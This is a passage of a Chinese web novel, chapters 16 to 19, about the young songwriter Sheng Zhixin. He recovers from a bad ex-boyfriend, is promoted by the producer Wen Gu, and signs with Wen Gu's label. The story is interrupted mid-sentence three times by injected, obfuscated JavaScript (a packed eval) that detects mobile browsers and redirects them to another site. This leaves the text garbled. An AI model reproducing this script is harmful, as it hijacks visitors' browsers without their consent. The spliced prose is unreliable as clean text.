他有些疲惫地下车,用钥匙打开家门,看见客厅里亮着的灯有些恍惚,仔细一想,这才想起来自己收留了一个小可怜。 过去他回家,家里只有黑暗等着自己,而现在客厅里开了一盏暖黄的小灯,空气里还有着淡淡的饭菜香味。 温故扬起眉,心头那点加班工作的烦躁似乎消失了。 “小盛?” 他开口喊人,却没听到回应。 厨房的蒸锅放着留好的饭菜,两菜一饭一汤,是家常菜,但还是温热的,应该是盛知新算准了他回家的时间,刚刚又给他热了一遍。 这样的回家待遇,温故许久没感受到了。 他轻轻叹了口气,觉得盛知新真的是有点固执的小孩。 因为艾新给了他最初的爱,所以他咬准了这个人对他好,直到让他彻底失望才离开。 又因为温故给了他一个容身之地,就这样细心地准备好了一切报答他,哪怕他说了好几次自己回家会很晚也要帮他把饭菜准备好。 真是...... 温故深吸一口气,转身去书房找人。 书房的灯果然亮着,盛知新盘腿坐在地上,头一点一点地向前,正打着瞌睡。 昨晚没怎么休息好,今天又上了课,不困才怪。 温故站在房间门口看了他很久,这才走进去轻轻拍了拍他的肩:“小盛。” 盛知新猛地从瞌睡中醒来,看见他时眼前一亮:“温老师,您回来了?” 温故点了点头,目光落在他手里的本子上。 还是那本他看过的歌词本,上面又添了新的旋律,这是因为昨晚的那个约定在努力吗? 八字还没一撇的事,就这样努力? “吃饭了吗?”盛知新折腾着要从地上站起来,“我去把饭给您在热一热,我——” 他在地上坐得太久,腿都坐麻了,站起来时使不上劲,踉跄着向前一扑,原本以为要摔在地上,却被人稳稳地接住了。 木质香有些霸道地再次将他周遭的空气侵占,让他心跳蓦地快了两拍。 “困了就去睡觉,”温故的声音里多了几分责备,“坐在地上不难受吗?” 盛知新被他扶着站好,笑了下:“我是想等你回家再睡来着,反正也不差这一会儿功夫,我还能顺便写写歌,这多好啊。” 好在哪里?等他回家再睡做什么? 温故蹙眉,正要责怪他,却听小孩声音很轻地继续说道:“晚上回家如果家里没有人等的话,会觉得很孤独很寂寞的。” “我不想让你觉得孤独寂寞,所以我想等你回来了,我再去睡,这样至少回家后还有人和你说说话。” 16. 第 16 章 自从在公司被盛知新劈头盖脸浇了一盒饭后,艾新像是自此消失在了盛知新的生活里。 之前盛知新总是患得患失被人丢下,可现在他却发现没了前男友的伞外面根本没下雨。 他再也不用心惊胆战地帮艾新代专业课怕被抓到,也不用每天回家给艾新洗衣做饭了,甚至有了大把的时间参与裴鸣的宿舍聚餐邀请。 那天他们正在包厢里唱K,盛知新忽然接到了一通电话。 电话那边的女声很温柔:“您好,请问您是盛知新先生吗?” 盛知新对其他几个人打了个手势,裴鸣很有眼力见地将麦克和伴奏的声音调小,伸长脖子往他这边看过来。 “对,我是。”盛知新看了眼来电显示,发现是个本地的没见过的号码。 他心里有点不安。 一般来说这种能连名带姓叫出他名字的电话,除了诈骗和推销外就更不是什么好事了。 “您好,我是瞬响文化的经纪人,经人推荐,您最近是有发行唱片的计划吗?” 这家KTV的隔音有些一般,甚至能听见隔壁大哥哭嚎“死了都要爱”的声音,可在对方问出这句话后,盛知新觉得自己耳边忽地安静了下来。 他动了动唇,也不再管对方是不是搞诈骗的,急切道:“对,我最近是在联系发片,我......” 女声继续说:“是这样的,介绍人说您擅长写流行和民谣,方便试稿吗?这边给您规定几个题材,您先写一写,写完后发来给我们产品部的老师看一看,这样可以吗?” “如果试稿没过也不必担心,我们也会按照合同把钱付给您,您那边如果方便的话,我先把合同发给您。” 盛知新清了清嗓子,试了好几次才发出一句短促的“嗯”。 他挂断电话后,有些茫然地望向自己之前的室友们。 “怎么了?”裴鸣看他的表情奇怪,有些担心,“是谁给你打电话?不会是艾......” 盛知新轻声说:“有公司找我试歌了。” “我靠!” 另一个室友有些激动地开口:“小盛你的才华终于被看见了,我当时就说你这么会写,没公司来找你是他们的损失,你看这不就来了!” 但公司来找他试歌或许不只是因为他写的还不错。 盛知新不知道为了让一个名不见经传的新人有一个试写的机会,温故费了多大的努力,所以他绝对要把握住这个来之不易的机会。 他的室友倒是很高兴,把他推到大屏前让他多唱两首,约好了拿到稿费后一定要请他们吃东西,盛知新一一答应了。 等他回家时是晚上十点多,温故依旧没回来。冰箱上贴着的字条没动过,上面的字迹龙飞凤舞: “早上记得吃早饭。” 他这个新室友每天都很忙,起的比他早睡得比他晚。虽说约好了盛知新给他做饭吃,但没真做过几次,都是盛知新做完自己吃了。 可温故却记得每天盯着他吃早饭,估计是被他上次昏倒在公司门口的事吓着了。 盛知新简单地洗漱了一下,抱着歌词本就钻进了自己的房间。 公司或许是听了他之前写的歌,给他的关键词是“清新”和“乐队”,剩下的让他自由发挥。 这对盛知新来说确实是舒适圈,但他总是想在能力范围内把这件事做到最好,将那一点灵感在歌词本上慢慢扩大,逐渐有了一首歌的雏形。 屋外响起了开关门的声音。 温故回家时,客厅久违地没有亮着灯,反而是盛知新虚掩的房门透出来一丝亮光。 他轻轻推开门,发现盛知新正蜷缩在床上,低头抱着吉他和歌词本写写画画,十分投入,连有人来了都不知道。 温故轻轻咳了一下,盛知新没有反应。他有些无奈,只能开口喊道:“小盛,小盛?” 盛知新猛地抬头,像是被人吓了一跳,手忙脚乱地摘下耳机:“温老师,您回来了?” 他看向温故身后漆黑一片的客厅,想起来自己今晚因为惦记着写歌的事,没给人留饭也没留灯,顿时心凉了半截,冷汗“嗖”地冒了出来。 “温老师,抱歉,我不是故意......” “你在抱歉什么?”温故扬起眉,“倒是你,吃饭了没有?” 他在公司简单吃过了,但是看着盛知新现在这一心沉醉音乐的样子也不知道他吃没吃过。 “我和同学在外面吃过了。” 盛知新说着就要下床:“我记得冰箱里还有我那天买的速冻饺子,我给您热一下。” 温故叹了口气,拦住他:“消停会儿吧,说说这个?” 他抬了抬下巴,看向盛知新丢在床上的本子:“写的还顺利吗?” “谢谢温老师帮我找到发行公司,”盛知新说,“写的还挺顺利的,目前为止都很满意。” “那我不打扰你了。” 温故仔细观察了他的神色,发现确实没有明显的烦躁和焦虑才放心:“你注意休息,别熬太晚。” “今天是特殊情况,所以才没给您留灯留饭,”盛知新说,“下次我会注意的。” 温故开门的动作顿了顿,回头看向他,一双凤眼里藏了几分笑意:“我有怪你吗?” 盛知新愣了下,下意识地摇摇头。 温故并没有怪他没给自己留饭,反而第一句话是关心他有没有好好吃饭。 之前有一次他回家赶小组作业,自己饿得前胸贴后背,更忘了艾新回家时必须吃上饭的要求,等听见家门打开的声音时心跳下意识地因慌张而变得飞快。 那应该是他这位少爷前男友第一次对他翻脸,吼着他的名字问他为什么没给自己留饭。 盛知新当时也一肚子委屈,说自己在赶小组作业也没来得及吃饭,却被人质问—— 你就不能先给我做好饭再做你的事吗? 当时盛知新很想甩下一句“我不是你的保姆”潇洒走掉,可他当时被人骂得有点懵,擦着眼泪去厨房给艾新煮了碗面,还要忍受对方嫌弃的目光。 现在他已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363061|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经不和艾新合租了。 “不论我怪没怪你,都不要先道歉,”温故说,“别想东想西了,早点完成任务。” 盛知新回过神,对他露出了一个笑:“好的温老师,保证完成任务。” *** 这三首歌不是盛知新写过最好的,但一定是他写的最用心的。 公司没要求做编曲,但他还是做了,并且自带了后期和混音,经纪人收到歌的时候明显有些惊讶:“这都是你自己做的?” 盛知新给她发了个“是的”的小猫表情包。 “你转型创作前是做后期的吗?”经纪人对他的技能十分感兴趣,“我听了下,你的后期做的还真不错,往后如果没过稿的话,我们还可以谈谈编曲和后期的合作。” 其实根本不是后期转创作,是混音修音编曲太贵了,一个音轨就要几十上百,他干脆自学了省下一笔钱。 “我大概什么时候知道能不能过稿?”盛知新有些担心,“没过的话您会通知我吗?” “大概七个工作日,过没过我都会通知您,”经纪人说,“祝您好运。” ...... 盛知新其实很讨厌选拔。 他自知自己并非一个优秀的人,所以极度害怕被和别人放在一起被比较,被挑选。之前也遇到过音乐平台举办的歌曲大赛,他按照主题写完了歌,甚至有时候都录完了也没投出去,就这样存在一个U盘里,不知道什么时候才能重见天日。 或许是因为小时候爸妈挑选的结果是舍弃他,把他丢在老家。长大后在学校组小组时被同学挑剩下,只能和老师一组,永远孤独地坐在教室的最后一排。 这次把歌发给传媒公司的人,或许已经耗尽了他最后的勇气。 刚开始的几天,盛知新在不安和焦虑中度过,晚上在酒吧唱歌时还弹错了好几个音。客人或许听不出,但是老板听出来了他的错误,结束后把他训了一顿,以为是他太累了,给他带薪放了两天假。 盛知新倒情愿老板不给他放假。 如果忙起来,就不会想这么乱七八糟的事了。 他索性把自己关在屋子里蒙头大睡,补充一下前两天写歌消耗的精力,可还没来得及睡多久,放在枕边的手机却“叮叮”地响了起来。 盛知新原本以为是自己什么闹钟没关,睁着朦胧的睡眼正要看看是哪个闹钟在找不痛快,却发现铺了满屏的消息通知来源于微博。 “1分钟前您增加了59个粉丝。” 这是谁买粉买错到他的账号上了? 盛知新拧着眉解锁手机,却蓦地愣住了。 不是买粉,那一个个增加的粉丝都是活人,在他最新一条vip升级的微博下发了很多评论: “D站来的,怎么粉丝这么少,好歌无人啊!” “由我来组成老粉~” “什么时候写新歌?” 什么D站?什么老粉? 盛知新指尖颤抖地点开了D站,看见自己的名字赫然挂在D站首页的热搜上。 17. 第 17 章 盛知新之前很少用D站,只在高中的时候开了个号偶尔发点弹吉他的视频,数据惨不忍睹,所以最后他也没了更新的兴致,渐渐的账号密码他都忘了。 之前艾新和他说过,他们公司在D站开了个账号专门发练习生的视频,来看的人还挺多的,算是个好兆头,意味着他们能顺利出道,那时盛知新想起了自己因为没有流量荒废的D站账号,其实还挺羡慕他们的。 他的歌怎么会出现在D站的热搜上?他不是只发给了瞬响文化的经纪人吗? 盛知新脑中警铃大作,想起来自己之前被偷的歌,瞬间手脚冰凉。 他咽了口唾沫,点开那个趋势词条,看清页面时愣住了。 发布视频的是一个粉丝高达500万的音乐博主,视频里唱的歌正是盛知新写的。 而这个博主他居然认识。 盛知新看着视频里的室友,觉得脑袋有点发蒙。 他原本以为温故只是那种专门做幕后的制作人,却没想到对方在D站有这样一个运营得很好的号。 现在这个账号在唱他一个名不见经传的小唱作人写的歌。 这算在给他引流吗? 【当每颗星星:失踪人口更新了!】 【那些你不要的:温老师请善用自己的脸好吗好的!】 【六六六大顺:这是什么歌?听歌识曲搜不到诶,新写的?】 在半个小时前,温故只回复了这条问他歌是谁写的评论:“新带的小孩写的,今天听见了demo,很喜欢所以唱了。” 立刻就有人问他这个新带的小孩账号是什么,之前有过什么作品,而运营也很有眼力地将盛知新的账号贴在了评论区里。 原来是这样,所以这群人才一窝蜂地来了盛知新的微博关注他。 糊了二十年的盛知新觉得自己血压有点高,呼吸也变得十分困难。第一次手足无措地接受这来自外界的关注。 在今晚之前,他对自己的要求就是能有钱有机会写歌就好了,至于是给小歌手写还是给为爱发电的民间歌手写都无所谓,只要他还能写,只要他还在唱就好。 穷人乍富还得适应一段时间,更别提盛知新默默无闻了二十多年,忽然在互联网小火了一下这种情况。 他正手足无措时,一通电话打了过来。 “您好,盛先生。” 电话那边依旧是瞬响文化联系过他的女经纪人,声音温柔:“恭喜您通过了试稿。” “啊,哦......谢谢。” 盛知新开口,这才觉得自己像是舌头打结了一样,说话都说不明白:“我看了D站上的那个视频,是公司做的吗?” “温老师上午来了一趟,专门问你的歌写的怎么样了,”经纪人说,“他看完后说自己想录一个录音室版的唱唱看,如果效果好就发到D站上,正好作为预热宣传了。” 预热? 他不是去给别人写歌让别人唱吗?预热什么?现在幕后创作人也要在屏幕前露脸了? “如果您没有问题的话,那我们就签约啦?” 经纪人那边响起了翻动纸页的声音:“这边把合同发给您,您看一眼合不合适,如果合适的话明后天您方便来公司这边,我们面对面再谈一下吗?” 盛知新晕乎乎地点了点头,点完才意识到对面看不见自己的动作,连忙答了声“好”。 等合同发过来他看完,他才意识到瞬响传媒是想让他当音乐人。 不是在幕后给人写歌写词,没有背景一辈子都很难露脸的幕后,是能站在舞台上自己唱的音乐人。 他的心跳忽然变得很快,“砰砰”地撞着胸膛,有些忙乱地将桌子上堆着的草稿纸和其他东西收拾到一起,这才敢再将那份合同浏览第二遍。 自己真的要做音乐人了。 他用心写的歌不会拿去给别人唱了。 盛知新忽然觉得有点想哭。 对于艾新来说,这样的机会有很多,这样的橄榄枝也有很多,甚至不必他多努力,都会有很多人来找他合作。他不会写也没关系,就算不拿走盛知新的歌,公司也会给他找更多的枪手把他包装成一个“全能唱作人”。 但是对盛知新来说,这样的好事一辈子能遇上一次都算祖坟冒了青烟了。 盛知新抹了把脸,摇摇晃晃地起身,还是觉得这件事太不真实了,就好像昨天还穷得准备变卖家产,今天就中了彩票后半辈子即将衣食无忧。 他推开卧室的门,惊讶地发现那间摆满乐器的房间亮着灯。 温故回来了? 口袋里的手机时不时还会响起涨粉通知的提示,而盛知新有点不知道该怎么面对自己的室友。 这个500万粉丝账号的引流力度实在太大了,这恩情好像也太大了,让他有种还不完的感觉,就连之前还欠着的医药费都算是小事一桩了。 他该怎么和温故提起这件事呢? 真是感谢你啊温老师谢谢你帮我引流等我火了不会亏待你的? 温老师您对我的大恩大德我这辈子都不会忘记? 无论哪个说出来都好奇怪啊。 盛知新焦头烂额地在原地踟蹰了好久,最后还是决定先去做个饭,等把饭做好了说不定就想出来了。 他正准备转身去厨房,房间门忽然被人推开了。 “小盛?”温故看见眼前倏地僵住的人,觉得有点好笑,“你在这儿做什么?” 一股热气从脚跟倏地烧到了后脑。 盛知新觉得自己肯定脸红了,声音有些含糊:“就......想出来做个饭。” “我回来的时候看见你在睡觉,所以没打扰你,”温故说,“晚上想吃什么?要我帮忙吗?” “不用!” 盛知新几乎脱口而出:“您帮了我那么多,不能让您做饭!” 说完他又僵住了。 既然开了这个头,那这件事是一定要说下去的,哪怕他还没想好如何感谢温故的帮助。 他硬着头皮,避开了温故探究的视线:“就......D站那个视频嘛。” 温故笑了下:“哦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363062|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个啊,本来硬性要求就是每月一定要更新一条,反正都是要发视频,不如直接唱你的歌好了。” “我欠你好多......” 盛知新越说声音越小,自己都觉得很不自信:“我以后都会还上的,温老师,我发誓。” “还什么?” 温故瞥了他一眼,看见盛知新发红的耳朵尖,觉得这小孩实在是很有意思:“这有什么好还的?” “从前我刚开始做音乐的时候也没人知道我是谁,也没人找我写歌,也是当时认识的老师带我,”他说,“这也算一种传承啊,我的老师带我,我带带你,你往后也可以带带新入行的人,让他们不至于那么快地对音乐失望。” 盛知新抬眸看向他,觉得有些惊讶:“真的吗?” “当然。” 温故淡淡道:“除了艾新那种有家世有背景的人以外,大家的路都不算好走,互相这么搀扶着,好过一个人跌跌撞撞。” 盛知新似懂非懂地点点头,却还是坚持道:“但即便如此,我还是不太喜欢欠别人人情,我说了会把欠的还给您就一定会还。” 温故好看的眉微蹙,半晌轻轻“啧”了一声,忽地抬手,弹了下盛知新的额头:“真犟啊。” 盛知新捂着被他弹过的地方,没忍住傻笑了起来。 “别笑了,”温故瞪了他一眼。 “对了温老师,您不是和艾新一个公司的吗?”盛知新忽然想起了这件事,“您帮我引流,艾新的公司会同意吗?” “我又不是他们公司的人,只是艾新找关系让我带他。” 提起“艾新”此人,温故的脸上很明显地浮现出了不悦的神色:“他们公司管不了我,更何况......” 他顿了下,语调变得有点微妙:“瞬响的老板是我,你不用想太多,把歌写好就行。” 也就是说,其实是温故签了他? 盛知新忽然觉得受宠若惊。 万一他比较没用,没能给温故挣钱呢?温故也太信任他了一点。 他正要说点什么,却听对方问道:“明天你有空吗?” 盛知新点点头:“我兼职的老板给我放假了,我这两天都有空的。” “那明天我和你一起去公司,”温故说,“去签一下合同。” “我自己一个人能去的,我......” 盛知新刚想说自己不是小孩子了不需要他陪着去签合同了,就听温故打断了他的话:“有D站账号吗?” 盛知新不明所以地点了点头。 温故满意地看了他一眼:“正好签完合同我们一起开个直播给你的歌预热一下,等热度起来了,就可以发歌了,到时候会有商稿来找你的,慢慢就好起来了。” “从今往后我就是你的老板了。那天你在医院和我说过,之前很多次遇到困难没人能帮你,你也不知道该去找谁帮忙。” 他说到这里,微微停顿了下,声音变得很温柔:“以后遇到什么伤心的事,或者遇到什么困难,都可以来找我,我会帮你。” 18. 第 18 章 盛知新之前其实没接触过什么和娱乐圈沾边的事情,顶多是去艾新的公司等过几次人,交流最多的是前台的姐姐。 当天晚上他又失眠了,生怕自己表现得不够好人家公司看不上,委婉地把他请回家。后来好不容易睡着了,却做了好几个噩梦,梦里自己在签合同的时候出了大乌龙,对面面目不清的经纪人声音严厉地劝他别吃这碗饭了。他还想再挣扎挣扎求求人家,却见艾新从门后走了出来,一脸嘲讽地对他说瞬响文化已经把他签走了他别白费力气了...... 下一秒他猛地从梦中惊醒,眯着眼睛看向手机,发现这会儿才早上七点,离他闹钟响还有半个小时。 被梦这么一吓,他也睡不着了,索性起来又写了两个小节歌词,披着衣服推开房门去厨房做早餐。 和温故住在一起快一周了,也就第一天晚上他给温故做了饭,其他日子里自己这位室友天天早出晚归,很难碰上面。 盛知新不太清楚温故忙到很晚时会什么时候回来,但是每次他在乐器房不小心睡着时,醒来总会发现自己身上披了对方的衣服。 他很喜欢温故衣服上香薰的味道,淡淡的,但是很厚重,不知为何给了他很大的安全感。 盛知新想事情想得出神,闻到烟味才想起来自己还在煎蛋,有些手忙脚乱地关了火,将差点煎糊的蛋从锅里铲了出来,决定把这个煎老的自己吃了,再给温故煎个溏心的。 温故起来就看见有个人在厨房里忙忙碌碌,抬眼看了下时间,有些无奈地叹了口气。 “怎么起这么早?”他问道。 盛知新百忙之中回头,笑着对他打了个招呼:“温老师早呀,饭马上做好了!” 他将面包和牛奶端到餐桌上:“也不知道你平时早上吃什么,就随便做了点,不合口味和我说。” 温故挑眉:“不喊‘您’了?” 盛知新愣了下,有点紧张道:“啊......抱歉。” “你这动不动就抱歉来抱歉去的习惯怎么养成的?” 温故拉开餐桌旁的椅子坐下:“没什么好抱歉的,平时也不用说敬语,既然是室友,距离感不要这么强。” 盛知新是他遇到的第一个这么有礼貌的小孩,但也太有礼貌了。他自问没比盛知新大多少,每天被人“您您您”地喊确实有点怪。 “哦好,抱歉我......” “抱歉也少说,”温故“啧”了一声,“没什么好抱歉的,生活习惯而已。” 盛知新生生忍住了自己的下一个“抱歉”,坐在了温故对面。 算上自己被人捡回家那次,这应该是他们第二次坐在一起吃饭。 好像看出了盛知新在想什么,温故忽然开口:“你还挺会做饭的。” “可能因为是从小练出来的吧,”盛知新说,“小学大人忙,就自己学着做饭,慢慢就会了。” 甚至学做饭也学的很快,之前学艾新喜欢吃的川菜也是学了没多长时间就能做的像模像样。 盛知新半开玩笑地说:“要是以后做音乐做不出名堂,那我就当厨师去,成为十里八乡最会唱歌的厨子。” “怎么就不能是最会做饭的音乐人呢?” 盛知新愣了下,忽然觉得心里最柔软的地方被触动了一下。 他经常自嘲,也喜欢自嘲。或许因为从小到大出糗太多,他总是习惯在此之前先自嘲一下,避免真的出糗了摔的太惨太难看。 只是温故这句话说得实在太认真了,让他不由自主地信了对方所说的—— 他真的有可能做一个最会做饭的音乐人。 “我说你写的好不是客气话,”温故说,“以后对自己有点信心。” 盛知新把最后一口煎蛋吃完,轻轻点了点头:“好,谢谢温老师。” 他还没来得及再说什么,就见面前的人将他的盘子拿走了。 似乎注意到了他探究的目光,温故笑了下:“有人做饭,另一个人就要刷盘子,这是规矩。” 从前盛知新也是这么要求艾新的,可是艾少爷洗了两次就说水凉手疼,要么就说自己累了刷不了碗,找了一百个理由,就是不愿意帮盛知新分担一下家务。 盛知新出神地看着对方的背影,忽然听见他说:“对了之前有件事一直没问过你。” “看你每天都等我回家,是比较希望我陪你吃饭吗?” 盛知新猛地坐直了身子,有点紧张,大脑立刻开始飞速旋转—— 是他前两天睡在乐器房让人觉得困扰了,这是在变相提醒他吗? 一瞬间他想了无数种可能,正想开口时,却听对方温温柔柔地问他:“如果你希望的话,以后我会早点回家。” *** 直到两人一起到了瞬响传媒,盛知新还没从温故那句话里缓过来。 他不是个可以放得开提要求的人,因为从小到大受过的教训都告诉他,如果一个人要求太多是会被丢掉的。 所以他从没想过温故会读出他有这样的要求。 其实他确实很想有人能陪他吃顿饭,这样好像更有“家”的感觉,但温故很忙呀,每天有那么多事要做,回家都特别晚,更何况两个人只是室友,他哪能这样理所当然地要求室友陪自己吃饭? 他晕乎乎地跟着温故进了瞬响传媒,才慢慢清醒过来,开始打量公司的装潢和布置。 和艾新住了半年,但他只去了几次艾新的公司,而且大部分时间还是在公司外面等人,所以只知道艾新签的公司很大气,很气派,很高端,连一楼大厅的瓷砖都干净得能当镜子照。 反观瞬响传媒,似乎更亲民一点,并不在写字楼里,而是在一个别墅园区。 别墅有三层,一层的墙上写着公司的标语和精神,旁边则放着很多动漫人物的立牌,从小到大都有。盛知新没怎么看过动漫,但居然也能叫出其中一部分人物的名字。窗台上摆满了一排小绿植,一部分绿植的花盆上还标着人名,应该是在这里的员工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363063|168109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在养。 这样的公司和艾新签的那家完全不一样,透着一股“人情味”。 盛知新绞尽脑汁地思考了很久,得出了这样的一个结论。 他不喜欢干净得能照出人脸的公司,更喜欢窗台上让员工养小绿植的公司。 温故带他上了二楼,交代他在会客的沙发上等经纪人后就被人叫走了。 盛知新乖乖地坐在沙发上,眼睛却没闲着,一刻不停地观察着二楼的办公区。 二楼和一楼比正经了不少,摆着一个落地的大柜子,里面都是奖杯,在阳光的照耀下金灿灿的,有点晃眼。而另一个柜子里则有很多专辑和光盘,两个柜子遥遥对望,应该是瞬响文化的所有荣誉。 好牛啊。 如果他也能有自己的奖杯,自己的光盘就好了,盛知新出神地想。 “你就是小盛吧?”一道女声从他身后响起。 盛知新连忙回头:“您好。” 穿了一身潮牌的女人绕过沙发在他对面坐下,对他伸出手:“你好呀,我叫郝静夜,你喊我小郝就行,从今往后我就是你经纪人啦。” 郝......静夜? 盛知新读了一遍,觉得这个谐音属实有点太好笑,没忍住翘了翘唇角:“郝......小郝您好。” “我和你差不多大,平时和我相处的时候你别想太多,有事就说,”郝静夜拍了拍他的肩,语气特别开朗,“大事小事我都能解决,事情要是实在太大就找老板,老板肯定有办法。” “老板?是温老师吗?” 郝静夜点点头:“对,是温老师,反正他最后一定能解决。” “在电话里说不太清,所以我把你喊来公司,给你看看看合同。” 她说着从手提包里抽出一大摞合同,这会儿才有点正经样子:“我们的合同你之前应该看过了,没有什么问题吧?” 盛知新摇摇头。 过早出来历练和被几个黑心中介骗过的经历让盛知新攒了一身经验,他把那份合同看得很仔细,确实没有什么坑他的条款,甚至称得上“良心”。 “我们公司虽然和D站深度合作,但是如果艺人不愿意的话我们也不强制艺人直播,”郝静夜在其中两条上画了个圈,用笔敲了敲,“也没有什么其他的业绩指标,唯一的要求就是不能出去接私活,有人私下联系你,你要把相关信息转给负责版权的老师,他们会去和甲方谈。” 盛知新小心翼翼地开口:“其实我能直播的,温老师签了我,我本来就该给他赚钱,万一——” 郝静夜伸手,打断了他的话:“不要担心这个,公司有其他人负责赚钱呢,温老师说你好好写歌就行。再说了你的歌不是反响很好嘛,不用非得直播的。” “如果没有其他问题的话,就欢迎你加入我们瞬响传媒啦。” 郝静夜对他笑了笑:“我带你去稍微做个妆造,老板说今天有个商务安排想和你一起,正好帮你熟悉熟悉工作环境。” 19. 第 19 章 郝静夜带着盛知新穿过工作间的时候,盛知新借机观察了一下,发现大部分的房间灯还没亮。 之前裴鸣去大公司实习过,和他说很多公司说是早上八点半九点到岗,但实际上八点就得到,特别不人性化。但是现在温故都到公司了,这些员工还没来上班,看得出公司的企业文化特别宽容。 温故当老板也是个好老板呢,盛知新无端地冒出了这个想法。 瞬响文化的妆造师也刚刚才到公司,正叼着块面包刷微博,看见盛知新时愣了下,而后恍然:“想起来了,这就是老板亲自说要签的那个小男生对吧?” 郝静夜点了点头,热络地招呼盛知新:“小盛你来坐,别客气,吃饭了吗?” 盛知新被她拽过去坐下,有些诚惶诚恐地点点头:“吃了。” 兴许因为是老板亲自要签他,所以他遇到的这些员工对他的态度都特别好,和之前他在艾新公司的待遇大相径庭。 之前他还以为所有的娱乐公司都是那种用鼻孔看人的态度呢。 化妆师三两口把小面包吃饭,将头发在脑后一挽,随手扎了起来,将一个硕大的化妆包打开:“是老板和甲方那个合作的视频吗?有没有什么别的要求?” 郝静夜摇摇头:“没有,你自己发挥就好,我这边还得去外面盯着他们,先走了。” 郝静夜风风火火地来,风风火火地走,留下盛知新和化妆师两个人在屋子里。 化妆师开始倒腾她那些瓶瓶罐罐,盛知新看见了她的胸牌上写着一个英文名字,于是试探地说:“Alice老师?我可以这么叫您吗?” “Alice老师就行,”化妆师说,“老板和你一起来的?” 盛知新点点头。 “老板早就和我打过招呼了,说你今天会来,”Alice说,“妆造已经选好了,你看看合不合适。” 盛知新不知道什么妆造合适什么妆造不合适,看着对方给自己提供的几张照片后点点头:“按照你们习惯的来就好。” “不用客气,觉得不合适不满意就提出来,没事的。” 化妆师对他的态度很好,像对小孩似的,给他倒了杯牛奶,让他在化妆前快点喝了,不然化到一半会饿。 盛知新推辞了两句,实在架不住对方的热情,只能抱着牛奶瓶乖乖坐在沙发上小口喝了。 温故来的时候就看见他这样坐在沙发上抱着牛奶瓶发呆,觉得有些好笑,伸手在他眼前挥了下:“在想什么呢?” 盛知新倏地回过神,手忙脚乱地将牛奶放下:“温老师好。” “好喝吗?”温故好看的眼睛微微弯了弯,“好喝等回家的时候给你带两罐走。” 盛知新其实还挺喜欢喝的,原本下意识地想说“不用”,怕给温故添麻烦,但转念一想两人临出发前的交谈,话到嘴边转了个弯,轻轻点了点头。 Alice回来时发现老板在,喜气洋洋地给温故打了个招呼:“老板吃了没?没吃我这儿有小面包,可好吃了。” 温故摇摇头:“吃过了,我就是来看一眼,你们慢慢来,化完妆在这里等我。” “得嘞!” Alice对他敬了个礼:“您慢走。” 化妆间的门被关上,盛知新有些好奇:“他好像和员工的关系很好。” “因为我们老板人好呀。” Alice哼着歌,开始对着盛知新的脸动工:“可能是老板在当老板之前也在别人手下打过工,所以对我们都特别好,平时也不摆架子,有事说事,也不太愿意让我们加班。” 盛知新“哦”了一声,觉得有点羡慕。 虽然他和温故认识的时间不长,但好像在别人的叙述里拼凑出了他这个室友的样子。 是有才华的,不然也不能让艾少爷花重金请人来上课。 是对员工好的,和化妆师说话都不带架子。 长得也确实好看,业务能力很强,随便发个视频都能上D站热搜。 想着想着就叹了口气。 “怎么叹气了?”Alice问他,“想到什么不开心的事?” 盛知新不方便开口,只是摇了摇头。 温老板的履历听起来实在是太恐怖,让他生出了一种“无法企及”的感觉。 也不知道什么时候他才能有温故这样的能力和成就,恐怕只有这样他才能写自己想写的,唱自己想唱的歌。 Alice的速度很快,三下五除二地给他上好了妆,端详了一会儿后说:“哎呀,真好看。” 这是盛知新第一次这么认真地化一次妆,觉得是一种很新奇的体验,被她夸得有点不好意思:“谢谢老师。” “我觉得你皮肤很好诶,”她说,“比公司很多小偶像的皮肤都好,瑕疵也少,真省心。” 盛知新心里“咯噔”了一下。 小偶像? 他瞬间想起了在艾新公司遇到的那几个围在一起蛐蛐自己的“偶像”。 他对这个词实在有些过敏。 还没来得及问Alice自己未来这些同事好不好相处,对方就接了个电话出去了。 盛知新按照温故的要求在化妆间等他,放在台子上的手机“嗡”地响了一声。 【AX:小盛,我错了,你原谅我好不好?】 【AX:宝宝,我错了,我不能没有你】 是他那个前男友发来的好友申请。 在大喜的日子里收到前任的消息,盛知新觉得有点晦气。 他有点后悔当时把人删掉之前没先拉黑,不然现在哪有他来骚扰自己的机会? 盛知新还没来得及给手机开静音,一通电话就打了进来。 没有备注。 他犹犹豫豫地接起了电话,拧着眉等对面说话,可两人彼此沉默了足足半分钟,谁也没开口。 “......小盛。” 是对面的人先忍不住了,声音颤抖地喊他的名字:“我想你了。” 盛知新呼吸倏地一下顿住了,紧接着眼前浮现出那天看见艾新在背后说自己坏话 